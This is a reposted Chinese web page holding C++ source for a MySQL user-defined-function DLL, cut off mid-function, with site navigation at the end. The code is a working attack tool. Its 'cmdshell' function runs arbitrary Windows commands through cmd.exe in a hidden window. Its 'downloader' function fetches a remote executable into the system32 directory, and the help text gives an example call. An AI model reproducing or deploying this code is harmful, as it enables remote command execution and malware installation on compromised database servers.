CODE://-----------------------------------------------------------------------源程序// MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"#include "stdio.h"#include <windows.h>#include <tlhelp32.h>#include <stdlib.h>#include <winsock.h>#include <Urlmon.h>#include "mysql.h"#include "resource.h"#pragma comment(lib, "Urlmon.lib")HANDLE g_module;//-----------------------------------------------------------------------BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){ if(ul_reason_for_call==DLL_PROCESS_ATTACH) g_module=hModule; return TRUE;}//-----------------------------------------------------------------------cmdshellextern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message){//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0;}extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error){ if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0) { initid->ptr=(char *)malloc(200); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"执行CMD Shell函数.\r\n例:select cmdshell(\"dir c:\\\\\");\r\n参数中的\"\\\"要用\"\\\\\"代替."); *length=strlen(initid->ptr); return initid->ptr; } int RunStatus=0; char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100]; DWORD size=0,len; HANDLE hFile; GetSystemDirectory(ShellPath,MAX_PATH-1); strcat(ShellPath,"\\cmd.exe"); GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1); strcat(TempFilePath,"\\2351213.tmp"); cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7); strcpy(cmdline," /c "); strcat(cmdline,(args->args)[0]); strcat(cmdline,">"); strcat(cmdline,TempFilePath); STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory( &si, sizeof(si) ); si.wShowWindow=SW_HIDE; si.cb = sizeof(si); ZeroMemory( &pi, sizeof(pi) ); RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi); free(cmdline); if(!RunStatus) { itoa(GetLastError(),temp,10); sprintf(temp,"Shell无法启动,GetLastError=%s\n",temp); initid->ptr=(char *)malloc(strlen(temp)+1); strcpy(initid->ptr,temp); (*length)=strlen(initid->ptr); return initid->ptr; } WaitForSingleObject(pi.hProcess,30000); //获得结果 hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL); if(hFile!=INVALID_HANDLE_VALUE) { size=GetFileSize(hFile,NULL); initid->ptr=(char *)malloc(size+100); ReadFile(hFile,initid->ptr,size+1,&len,NULL); (initid->ptr)[size]='\0'; strcat(initid->ptr,"\r\n---------------------------------完成!\r\n"); CloseHandle(hFile); DeleteFile(TempFilePath); } else { initid->ptr=(char *)malloc(100); strcpy(initid->ptr,"\r\n---------------------------------完成!\r\n"); } (*length)=strlen(initid->ptr); return initid->ptr;}extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid){ if(initid->ptr!=NULL) free(initid->ptr);}//-----------------------------------------------------------------------downloaderextern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args, char *message){//return 1出错 ,0 正常 initid->max_length=65*1024*1024; return 0;}extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error){ if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || stricmp(args->args[0],"help")==0) { initid->ptr=(char *)malloc(200); if(initid->ptr==NULL)return NULL; strcpy(initid->ptr,"下载者函数\r\n例:select downloader(\"http://www.baidu.com/server.exe\",\"c:\\\\winnt\\\\system32\\\\ser.exe\");\r\n参数中的\"\\\"要用\"\\\\\"代替."); *length=strlen(initid->ptr); return initid->ptr; } HANDLE hFile; char path[MAX_PATH]; strcpy(path,(args->args)[1]); hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,CREATE_ALWAYS,0,NULL); if(hFile==INVALID_HANDLE_VALUE) { initid->ptr=(char *)malloc(100+strlen(path)); sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path); *length=strlen(initid->ptr); return initid->ptr; } CloseHandle(hFile); DeleteFile(path); if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK) { initid->ptr=(char *)malloc(50+strlen(path)); sprintf(initid->ptr,"下载文件成功(%s).",path); *length=strlen(initid->ptr); return initid->ptr; } e
转贴于:中国QQ站
上一篇文章:协议欺骗攻击技术常见种类简析及防范
下一篇文章:安全常识:识破十种电子邮件诈骗术
阅读统计:[]
【中国QQ站】【设为主页】【收藏本页】【打印本文】【回到顶部】【关闭此页】
相关文章
文章评论(评论内容只代表网友观点,与本站立场无关!)
|